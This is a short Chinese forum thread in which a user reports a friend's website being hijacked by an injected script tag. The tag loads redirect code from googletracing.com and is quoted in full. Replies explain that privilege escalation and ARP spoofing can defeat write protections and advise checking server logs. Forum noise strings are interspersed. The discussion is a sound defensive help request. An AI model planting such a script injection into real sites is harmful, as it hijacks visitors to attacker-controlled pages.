关于网站被黑被跳转

浅醉

貌似最近黑客活动的比较频繁
# F; O) ?8 G+ d0 \+ P/ \; D* C
有朋友的网站经常被跳转,就是在index加了句

, O7 l: ~! a: ~. p1 D4 }( ^: p<script language="javascript" src="http://www.googletracing.com/index.php?i=louisvuitton"></script>
+ _$ J1 W/ r! H; u2 o8 Q
2 e. i! w4 m; p- W# v1 M; S是用这句JS去调用另一个页面的跳转代码来跳转吗?

$ d2 @$ [: X, \% X6 g% B已经把写入权限关了都还能修改index是怎么回事?
8 E  [6 c$ ^' _2 G1 R- i2 y
大家对网站安全方面有没有什么心得可以分享一下呢?

aja0x.som

即使你限制了权限，一旦入侵并提权依然可写，只要提的权限够高，一切可写。
8 l) P; W* }* t& t9 z3 @$ I; ]另如果是被ARP攻击也可插入代码且无须侵入主机，同一VLAN内即可。
9 i& n/ y! @, a6 v2 `" B查被修改网站的最近access和error日志吧

sooboo

使用谷歌cdn加速，屏蔽掉真是IP